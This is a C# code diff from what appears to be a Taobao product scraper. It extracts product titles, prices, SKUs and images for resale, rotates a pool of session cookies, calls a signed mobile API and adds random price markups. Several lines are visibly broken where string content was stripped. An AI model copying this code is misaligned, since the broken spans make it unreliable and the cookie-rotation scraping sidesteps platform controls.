PropValueBase pv = new PropValueBase() // 此处序列化可能会出问题报错 + { + value = jSkuPropValue["vid"].ToString(), + name = jSkuPropValue["name"].ToString(), + image = jSkuPropValue?["image"]?.ToString(), + image_from_url = jSkuPropValue?["image"]?.ToString(), + number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000) + }; + p.Values.Add(pv); + p.sort = vSkuProps.IndexOf(skuProp) + 1; + } + Product.Props.Add(p); + } + } + + if (vRes["data"]["skuBase"]?["skus"] != null && !string.IsNullOrEmpty(vRes["data"]["skuBase"]?["skus"].ToString())) + { + var vSkus = JArray.Parse(vRes["data"]["skuBase"]?["skus"]?.ToString()).ToObject>(); + foreach (var sku in vSkus) + { + var vSku = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(sku.ToString()); + string skuId = vSku["skuId"].ToString(); + string propPath = vSku["propPath"].ToString(); + var vSkuInfo = vRes["data"]["skuCore"]["sku2info"][skuId]; + int iSkuNum = (int)vSkuInfo["quantity"]; + decimal price = (decimal)vSkuInfo["price"]["priceText"];//AgentProductBuild.IsGuidancePrice && Product.isPromotion ? (decimal)vSkuInfo["originalPrice"]["priceText"] : (decimal)vSkuInfo["price"]["priceText"]; + //string values; + string skuName = BuildName(propPath); //BuildName(propPath, out values); + SkuMapBase skuBase = new SkuMapBase() + { + id = long.Parse(skuId), + name = skuName, + price = price, + number = iSkuNum, + //values = values, + sale_count = 0 + }; + Product.SkuMaps.Add(skuBase); + } + } + #endregion + goto detalPic; + } + + #region 商品属性 + if (string.IsNullOrEmpty(Product.name) && !IsDown) + { + try + { + if (html.Contains("mtopjsonp1(")) + html = BaseRegex.GetMatchRegexString(ref html, @"mtopjsonp1\(({[\w\W]+?})\)"); + JObject ja = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(html); + if (html.Contains("{\"desc\":{\"itemProperties\"") || html.Contains("{\"desc\": {\"itemProperties\"")) + { + Product.name = ja["item"]["data"]["item"]["title"].ToString(); + desc = ja["desc"].ToString(); + } + else if (html.Contains("{\"clientId\"") || html.Contains("cache_time")) + Product.name = ja["data"]["data"]["item"]["title"].ToString(); + else + Product.name = ja["data"]["item"]["title"].ToString(); + } + catch (Exception ex) + { + var mm = BaseRegex.GetMatchRegex(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)"""); + string tempx = ""; + for (int i = 0; mm != null && i < mm.Count; i++) + { + if (mm[i].Groups[1].Value.Length > tempx.Length) + { + tempx = mm[i].Groups[1].Value; + } + } + Product.name = tempx; + } + } + if (string.IsNullOrEmpty(Product.name)) + { + if (IsUpdateSku) + { + Delete = true; + LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id)); + } + else + { + LogSave.Add(Name, "标题获取错误:" + Product.from_url); + } + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + if (string.IsNullOrEmpty(desc) && (html.Contains("{\"desc\":{\"itemProperties\"") || html.Contains("{\"desc\": {\"itemProperties\""))) + { + desc = BaseRegex.GetMatchRegexString(ref html, @"{(""desc"":\{[\w\W]*?),""item"""); + } + html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\"); + html = Regex.Replace(html, "\"endpoint\"[\\w\\W]+?\"global\"", "\"global\""); + string pricex = BaseRegex.GetMatchRegexString(ref html, + @"""transmitPrice"":\{""priceText"":""([\d\.]+)"); + if (string.IsNullOrEmpty(pricex)) + { + pricex = BaseRegex.GetStringJson(ref html, "price1"); + } + if (string.IsNullOrEmpty(pricex)) + { + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + } + if (string.IsNullOrEmpty(pricex)) + { + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + } + if (string.IsNullOrEmpty(pricex)) + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceText"":""([\d\.]+)"); + string price_beforex = BaseRegex.GetMatchRegexString(ref html, + @"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + if (string.IsNullOrEmpty(price_beforex)) + { + price_beforex = BaseRegex.GetMatchRegexString(ref html, + @"""extraPrices"":\[\{[\w\W]+?""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + } + + if (string.IsNullOrEmpty(price_beforex)) + { + price_beforex = BaseRegex.GetMatchRegexString(ref html, + @"""extraPrices"":\[\{[\w\W]+?""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + } + if (string.IsNullOrEmpty(price_beforex)) + { + price_beforex = pricex; + } + if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex)) + { + LogSave.Add("价格为空,退出:" + Product.from_url); + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + + Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount"); + string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)"); + Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice); + Product.price = decimal.Parse(pricex); + MinPrice = Product.price; + MaxPrice = Product.price; + Product.num = BaseRegex.GetIntJson(ref html, "num"); + Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick"); + if (Product.num == 0) + { + string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)"""); + if (!string.IsNullOrEmpty(num)) + Product.num = int.Parse(num); + } + + Product.discountPrice = decimal.Parse(pricex); + Product.before_price = decimal.Parse(price_beforex); + Product.discount = Product.discountPrice / Product.before_price;//折扣比例 + Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100; + + if (IsUrlCollect) + { + Product.onlinePrice = GetOnlinePrice(Product.price); + } + + if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分 + { + goto GetSku; + } + string catId = BaseRegex.GetStringJson(ref html, @"categoryId"); + catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId; + if (catId.Contains(",")) + catId = catId.Substring(catId.LastIndexOf(",") + 1); + Product.cat_id = int.Parse(catId); + Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId"); + Product.from_cat_id = Product.cat_id; + Product.from_site_id = 1; + if (Product.main_cid == 0) + { + LogSave.Add(Name, "没有找到主分类:" + Product.from_url); + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + //===================标题过滤====================== + string title = Product.name.ToLower(); + long md5 = BaseClass.GetLong(Product.name); + + + foreach (string s in BaseClass.CantTitleKeywords) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantTitle) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantCatId) + { + if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + + + + string temp = BaseRegex.GetMatchRegexString(ref html, @",[\s]*""images"":[\s]*\[([^\]]+?)\]"); + + if (string.IsNullOrEmpty(temp)) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + if (!(temp.Contains("jpg") || temp.Contains("jpeg") || temp.Contains("png"))) + { + var mg = BaseRegex.GetMatchRegex(ref html, @",[\s]*""images"":[\s]*\[([^\]]+?)\]"); + for (int i = 0; mg != null && i < mg.Count; i++) + { + if (i == 0) + continue; + temp = mg[i].Groups[1].Value; + } + } + var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)"""); + if (m.Count == 0) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + Product.Images.Add(m[i].Groups[1].Value); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.Images[0]; + + var tempVideo = BaseRegex.GetMatchRegexString(ref html, @"""videos"":[\s]*\[\{""url"":[\s]*""([\w\W]+?)"""); + //Product.vid = tempVideo; + + temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":[\s]*\{""groupProps"":[\s]*([\w\W]+?)\]\},"); + if (!string.IsNullOrEmpty(temp)) + { + m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":[\s]*""([^""]+)""\}"); + if (m.Count == 0) + { + LogSave.Add("参数错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + if (name.Length > 50 || value.Length > 50) + continue; + Product.Prop.Add(new KeyValueBase(name, value)); + } + } + GetSku: + bool hadPrice = false; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""pid"":[\s]*""([-\d]+)"",[\s]*""name"":[\s]*""([^""]+)"",(\s*|.+?)""values"":[\s]*\[([\w\W]+?)\]\}"); + if (m != null && m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref html, + @"""name"":[\s]*""([^""]+)"",""nameDesc"":[\s]*""[^""]*?"",""pid"":[\s]*""([-\d]+)"",(\s*|.+?)""values"":[\s]*\[([\w\W]+?)\]\}"); + } + if (m != null && m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref html, + @"\{[\s]*""values"":[\s]*\[([\w\W]+?)\],""name"":[\s]*""([^""]+)"",[\s]*""pid"":[\s]*""([-\d]+)""\}"); + } + bool has = false; + if (m != null && m.Count == 0) + { + has = true; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""name"":[\s]*""([^""]+)"",[\s]*""pid"":[\s]*""([-\d]+)"",[\s]*""values"":[\s]*\[([\w\W]+?)\]\}"); + } + for (int i = 0; i < m.Count; i++) + { + string item = m[i].Groups[0].Value; + PropBase p = new PropBase(); + p.id = BaseRegex.GetLongJson(ref item, "pid");// long.Parse(m[i].Groups[1].Value); + p.name = BaseRegex.GetStringJson(ref item, "name");//m[i].Groups[2].Value; + if (string.IsNullOrEmpty(p.name) || has) + { + p.name = m[i].Groups[2].Value; + } + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[4].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""vid"":[\s]*""([-\d]+?)"",[\s]*""name"":[\s]*""([^""]+?)""[^\}]*\}"); + if (mm != null && mm.Count == 0) + { + mm = BaseRegex.GetMatchRegex(ref temp, @"[\s]*""image"":[\s]*""([^""]+?)"",[\s]*""name"":[\s]*""([^""]+?)"",""sortOrder\"":[\s]*""[-\d]+?"",""vid"":[\s]*""([-\d]+?)""[^\}]*\}"); + } + if (mm != null && mm.Count == 0) + { + temp = m[i].Groups[1].Value; + mm = BaseRegex.GetMatchRegex(ref temp, @"[\s]*""name"":[\s]*""([^""]+?)""[^\}]*,""vid"":[\s]*""([-\d]+?)""\}"); + } + if (mm != null && mm.Count == 0) + { + mm = BaseRegex.GetMatchRegex(ref temp, @"\{[^\}]+?\}"); + } + for (int j = 0; j < mm.Count; j++) + { + string specItem = mm[j].Groups[0].Value; + string v = BaseRegex.GetStringJson(ref specItem, "vid");//mm[j].Groups[1].Value; + //string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref specItem, "image"); + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = BaseRegex.GetStringJson(ref specItem, "name");//mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + //if (Product.Props.Count>2) + //{ + // Product.Props = Product.Props.OrderBy(u => u.Values.Count).ToList(); + // int count = Product.Props.Count - 2; + // Product.Props.RemoveRange(0,count); + // Product.Props = Product.Props.OrderByDescending(u => u.sort).ToList(); + //} + m = BaseRegex.GetMatchRegex(ref html, @"""skuId"":[\s]*""([\d]+)"",[\s]*""propPath"":[\s]*""([-\d:;]+)"""); + if (m != null && m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref html, @"""propPath"":[\s]*""([-\d:;]+)"",[\s]*""skuId"":[\s]*""([\d]+)"""); + } + for (int i = 0; i < m.Count; i++) + { + string skuItem = m[i].Groups[0].Value; + string skuid = BaseRegex.GetStringJson(ref skuItem, "skuId");// m[i].Groups[1].Value; + string skuValues = BaseRegex.GetStringJson(ref skuItem, "propPath");//m[i].Groups[2].Value; + + //var mm = BaseRegex.GetMatchRegex(ref html, + // @"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}"); + //if (mm.Count == 0) + //{ + html = html.Replace(" ", ""); + var mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\w\W]+?)\}"); + //} + if (mm.Count == 0) + { + mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d.]+)""[^\}]*?}"); + } + if (mm.Count == 0) + { + //"moreQuantity":"false", + mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":\{""moreQuantity"":""false"",""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d.]+)""[^\}]*?}"); + } + if (mm.Count == 0) + { + LogSave.Add("SKU识别错误:" + Product.from_url); + continue; + } + + string priceText = mm[0].Groups[1].Value; + decimal before_price = decimal.Parse(priceText); + decimal price = before_price; + string numberString = BaseRegex.GetMatchRegexString(ref html, + @"""" + skuid + @""":[\w\W]+?""quantity"":""([\d]+)"""); + if (string.IsNullOrEmpty(numberString)) + numberString = BaseRegex.GetMatchRegexString(ref html, + @"""" + skuid + @""":[\w\W]+?""quantity"":([\d]+)"); + int number = 0; + if (!string.IsNullOrEmpty(numberString)) + number = int.Parse(numberString); + if (number > 100) + number = 100; + string name = BuildName(skuValues); + if (string.IsNullOrEmpty(name)) + continue; + bool had = false; + for (int j = 0; j < Product.SkuMaps.Count; j++) + { + if (Product.SkuMaps[j].name == name) + { + had = true; + break; + } + } + if (had) + { + continue; + } + mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)"",""(type|showTitle|sugProm|priceMoney)"""); + if (mm.Count != 0) + { + price = decimal.Parse(mm[0].Groups[1].Value);//这是折扣后的价格 + decimal dic = before_price > 0 ? price / before_price : 1; + if (dic < Product.discount) + Product.discount = dic; + } + + + SkuMapBase sm = new SkuMapBase(); + sm.id = long.Parse(skuid); + sm.name = name; + sm.price = price; + if (MaxPrice < price) + MaxPrice = price; + if (MinPrice > price) + MinPrice = price; + sm.online_price = (int)(sm.price * Product.shopAddPercent / 100 + + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100); + if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice)) + number = 0; + else + hadPrice = true; + if (IsUrlCollect) + { + sm.online_price = (int)GetOnlinePrice(sm.price); + } + sm.number = number; + sm.before_price = before_price; + sm.sale_count = 0; + Product.SkuMaps.Add(sm); + } + for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++) + { + if (Product.SkuMaps[i].number == 0) + Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2); + } + #endregion + + detalPic: + #region 详情图信息 + string url = "https://h5api.m.taobao.com/h5/mtop.taobao.detail.getdesc/6.0/?jsv=2.4.11&appKey=12574478&t=1539706329587&sign=7467352c72e2cc0c53bbf733f4323b16&api=mtop.taobao.detail.getdesc&v=6.0&type=jsonp&dataType=jsonp&timeout=20000&callback=mtopjsonp1&data=%7B%22id%22%3A%22" + Product.from_id + "%22%2C%22type%22%3A%220%22%2C%22f%22%3A%22%22%7D"; + + if (NoContent) + { + content = "不需要描述"; + } + else + { + content = ""; + if (!string.IsNullOrEmpty(desc)) + content = desc; + + if (string.IsNullOrEmpty(content)) + { + string contentHtml = ""; + //if (UploadPinduoduoMain.isUseTaoBaoCache) + contentHtml = ServerTemp.Get(2, "content-" + Product.from_id.ToString(), out canUse); + if (canUse && contentHtml.Contains(",") && !contentHtml.Contains("punish/wait_h5") + && (contentHtml.Contains(""; + + } + if (mm.Count == 0 && !string.IsNullOrEmpty(descHtml)) + tempx = descHtml; + content = tempx.Replace("\\\"", "\"").Replace("\\\\", "\\"); + if (content.Contains(" 50 || value.Length > 50) + continue; + Product.Prop.Add(new KeyValueBase(name, value)); + } + } + } + if (string.IsNullOrEmpty(content)) + { + LogSave.Add("H获取到的详情图为空" + Product.from_id + "\r\n"); + } + if (content != null && content.Contains("被挤爆啦")) + { + content = ""; + } + } + + if (string.IsNullOrEmpty(content)) + { + string f = BaseRegex.GetStringJson(ref html, "f"); + f = BaseRegex.GetMatchRegexString(ref html, "f=([\\w\\W]+?)&"); + //取详情图 + if ((string.IsNullOrEmpty(content) || !content.Contains(" + //{ + // ServerTemp.Set(2, "content-" + Product.from_id.ToString(), content); + //}); + } + string tempx = BaseRegex.GetMatchRegexString(ref content, @"""pcDescContent"":""([\w\W]+?)"",""anchors"); + if (string.IsNullOrEmpty(tempx)) + tempx = BaseRegex.GetMatchRegexString(ref content, @"""pcDescContent"":""([\w\W]+?)"","""); + if (string.IsNullOrEmpty(tempx)) + { + tempx = BaseRegex.GetMatchRegexString(ref content, @"""pages"":([\w\W]+?)\]"); + var mm = BaseRegex.GetMatchRegex(ref tempx, "]*?>([^>]+?)"); + tempx = ""; + for (int i = 0; mm != null && i < mm.Count; i++) + { + tempx += ""; + } + } + if (string.IsNullOrEmpty(tempx)) + { + tempx = BaseRegex.GetMatchRegexString(ref content, @"""pages"":[\w\W]+?(]*?>[\w\W]+?)\]"); + var mm = BaseRegex.GetMatchRegex(ref tempx, "]*?>([^>]+?)"); + tempx = ""; + for (int i = 0; mm != null && i < mm.Count; i++) + { + tempx += ""; + } + } + if (string.IsNullOrEmpty(tempx)) + { + string img = BaseRegex.GetStringJson(ref content, "taobaoDescUrl"); + tempx = ""; + } + if (string.IsNullOrEmpty(tempx)) + { + LogSave.Add(Name, "描述正文正则失败,跳过 " + url); + pbMessage = "无详情信息"; + Product.message = pbMessage; + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + content = tempx.Replace("\\\"", "\"").Replace("\\\\", "\\"); + content = Regex.Replace(content, "

    ", ""); + } + if (string.IsNullOrEmpty(content) || !content.Contains("img")) + { + string tempx = ""; + for (int i = 0; i < Product.Images.Count; i++) + { + tempx += ""; + } + content = tempx; + } + } + + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + //识别上家ID + if (content.Contains(" 3000) + { + ProductTemp.Clear(); + } + + if (!ProductTemp.ContainsKey(Product.from_id) && !NoContent) + ProductTemp.Add(Product.from_id, Product); + } + catch + { + } + //if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice)) + //{ + // //LogSave.Add(Name, "价格太低:" + Product.from_url); + // //if (IsUpdateSku) + // //{ + // // SetSku( 0, 0, 5); + // //} + // //else + // //{ + // // return; + // //} + //} + Product.logisticsTime = BaseRegex.GetMatchRegexString(ref html, @"""logisticsTime"":""([\w\W]+?)""}"); + if (string.IsNullOrEmpty(Product.logisticsTime)) + { + Product.logisticsTime = ""; + var mx = BaseRegex.GetMatchRegex(ref html, @"{""title"":""([\w\W]+?)""}"); + for (int i = 0; i < mx.Count; i++) + { + string item = mx[i].Groups[0].Value; + string logtitle = BaseRegex.GetStringJson(ref item, "title"); + if (logtitle.Contains("发货")) + { + Product.logisticsTime = logtitle; + break; + } + } + } + if (string.IsNullOrEmpty(Product.logisticsTime)) + { + string item = BaseRegex.GetMatchRegexString(ref html, @"""ReceiveTime"":([\w\W]+?"")}"); + if (!string.IsNullOrEmpty(item)) + { + string logtitle = BaseRegex.GetStringJson(ref item, "text"); + string month = BaseRegex.GetMatchRegexString(ref logtitle, @"([\d]+)月"); + string day = BaseRegex.GetMatchRegexString(ref logtitle, @"([\d]+)日"); + if (!string.IsNullOrEmpty(month) && string.IsNullOrEmpty(day)) + { + string curiqi = DateTime.Now.Year + "-" + month + "-" + day + " 00:00:00"; + string cuTime = DateTime.Now.ToString("yyyy-MM-dd 00:00:00"); + DateTime t1 = Convert.ToDateTime(curiqi); + DateTime t2 = Convert.ToDateTime(cuTime); + System.TimeSpan t3 = t1 - t2; //两个时间相减 。默认得到的是 两个时间之间的天数 得到:365.00:00:00 + Product.logisticsTime = Math.Abs(t3.TotalDays).ToString(); + } + } + } + if (NoUpToServer) + return; + if (IsUpdateSku || Pinduoduo) //如果是更新上家价格,则执行此代码 + { + if (Product.cat1 == 0) + { + FromTitleToCat.UserApi = true; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = new TaobaoProductBase(); + ft.Title = Product.name; + ft.TaobaoProduct.Titlte = Product.name; + ft.TaobaoProduct.FromId = Product.from_id; + ft.TaobaoCatId = Product.from_cat_id; + ft.JustGetCat = true; + ft.Get(); + if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0") + { + Product.cat1 = int.Parse(ft.Cat1); + Product.cat2 = int.Parse(ft.Cat2); + Product.cat3 = int.Parse(ft.Cat3); + Product.cat4 = int.Parse(ft.Cat4); + } + } + var ftc = new FromTitleToCat(); + Product.main_cid = ftc.GetMainCatId(Product.cat1); + Product.main_cat_name = ftc.MainCatName; + if (html.Contains("探索全球美好生活") || html.Contains("globalBuyer") || html.Contains("globalHeadUpdate")) + { + Product.main_cid = 8; + Product.main_cat_name = "海淘进口"; + string country = ""; + for (int i = 0; i < Product.Prop.Count; i++) + { + if (Product.Prop[i].Key == "产地") + { + country = Product.Prop[i].Value; + break; + } + } + if (string.IsNullOrEmpty(country)) + { + country = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":{""from"":""([\w\W]+?)"""); + } + Product.country = country; + } + if (Product.cat3 == 3109) + { + var pro = Product.Props.Where(s => s.name.Contains("容量")).FirstOrDefault(); + if (pro == null) + { + string mah = BaseRegex.GetMatchRegexString(ref Product.name, @"([\d]+)毫安"); + PropBase p = new PropBase(); + p.pinduoduo_id = "140871455"; + p.id = 140871455; + p.name = "电池容量"; + PropValueBase pr = new PropValueBase(); + pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + pr.name = mah + "毫安"; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = ""; + pr.image_from_url = ""; + p.Values.Add(pr); + Product.Props.Add(p); + for (int i = 0; i < Product.SkuMaps.Count; i++) + { + var sku = Product.SkuMaps[i]; + sku.name = sku.name + ";" + mah + "毫安"; + sku.nameLite = sku.nameLite + mah + "毫安"; + } + } + else + { + if (string.IsNullOrEmpty(pro.pinduoduo_id)) + { + pro.pinduoduo_id = "140871455"; + pro.id = 140871455; + } + for (int i = 0; i < pro.Values.Count; i++) + { + var pr = pro.Values[i]; + string mah = BaseRegex.GetMatchRegexString(ref pr.name, @"([\d]+)毫安"); + pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + } + } + } + return; + } + //if (Product.FromType == "搜款网净化") + //{ + // string jhtml = ServerTemp.GetJinHuaCache(Product.FromId.ToString()); + // AslasyHtml(jhtml); + //} + //淘宝大数据收集 + //string json = JsonHelper.SerializeObject(Product); + //string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() + + // "&json=" + GetHtml.UrlEncodeUtf8(json); + //string upUrl = BaseClass.BuildObjString("upload_data"); + //html = GetHtml.PostUtf8(upUrl, data); + if (nokey)//过滤数据 + return; + if (html == "Ok" || html == "Had") + { + LogSave.Add(Name, "采集成功:" + Product.id); + } + if (html.Contains("探索全球美好生活") || html.Contains("globalBuyer") || html.Contains("globalHeadUpdate")) + { + Product.main_cid = 8; + Product.main_cat_name = "海淘进口"; + string country = ""; + for (int i = 0; i < Product.Prop.Count; i++) + { + if (Product.Prop[i].Key == "产地") + { + country = Product.Prop[i].Value; + break; + } + } + if (string.IsNullOrEmpty(country)) + { + country = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":{""from"":""([\w\W]+?)"""); + } + Product.country = country; + } + Product.from_title = Product.name; + } + public void AslasyHtml(TaobaoProductBase t, string html) + { + if (string.IsNullOrEmpty(html) || html == "null") + return; + try + { + //string title = BaseRegex.GetStringJson(ref html, "fession_title"); + //string[] goodTitle = title.Split(';'); + //主图 + string mainPic = BaseRegex.GetStringJson(ref html, "main_pic"); + string[] images = mainPic.Split(';'); + Product.Images.Clear(); + for (int i = 0; i < images.Length; i++) + { + string img = images[i]; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + Product.Images.Add(img); + } + //详情图 + string container_info = BaseRegex.GetMatchRegexString(ref html, @"""container_info"":""(.*?)"""); + string[] contentimage = container_info.Split(';'); + var m = BaseRegex.GetMatchRegex(ref container_info, @""); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[0].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += img; + } + Product.content = content; + Product.Props.Clear(); + string temp = ""; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""id"":([-\d]+),""name"":""([^}]+)"",""pinduoduo_name"":[^}]+?,""Values"":\[([\w\W]+?)\]\}"); + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + p.id = long.Parse(m[i].Groups[1].Value); + p.name = m[i].Groups[2].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[3].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""value"":""([-\d]+?)"",""name"":""([^""]+?)""[^\}]*\}"); + for (int j = 0; j < mm.Count; j++) + { + string v = mm[j].Groups[1].Value; + string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref vi, "image"); + if (image == "null") + image = ""; + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + //Product.name = goodTitle[0]; + //for (int i = 1; i < goodTitle.Length; i++) + //{ + // var p = t.Clone(); + // t.Titlte = goodTitle[i]; + // t.FromType = "淘宝"; + // t.Uped = false; + // UploadPinduoduoMain.ProductStock.Insert(0, p); + //} + } + catch + { + } + } + + + ///

    + /// 生成名称 + /// + /// + /// + private string BuildName(string name) + { + string temp = ""; + string[] props = name.Split(';'); + if (name.Contains("-")) + { + name = ""; + for (int i = 0; i < props.Length; i++) + { + name += props[i].Split(':')[1] + ","; + } + } + for (int i = 0; i < Product.Props.Count; i++) + { + for (int j = 0; j < Product.Props[i].Values.Count; j++) + { + if (name.Contains(Product.Props[i].Values[j].value)) + { + temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";"; + break; + } + } + } + if (string.IsNullOrEmpty(temp)) + return ""; + return temp.Substring(0, temp.Length - 1); + } + /// + /// 网址采集计算价格 + /// + /// + /// + public decimal GetOnlinePrice(decimal price) + { + if (price < 40) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000); + } + else if (price < 100) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000); + } + else if (price < 200) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000); + } + else + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000); + } + return price / 100; + } + public static void SaveCookies() + { + string temp = ""; + foreach (var item in TaobaoMobileCollect.CookiesDic) + { + temp += item.Key + "-----" + item.Value + "\r\n"; + } + FileBase.WriteAllText("temp/taobaocookies.txt", temp); + } + /// + /// 获取上家ID + /// + /// + /// + public static long GetUpId(ref string content) + { + string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]"); + 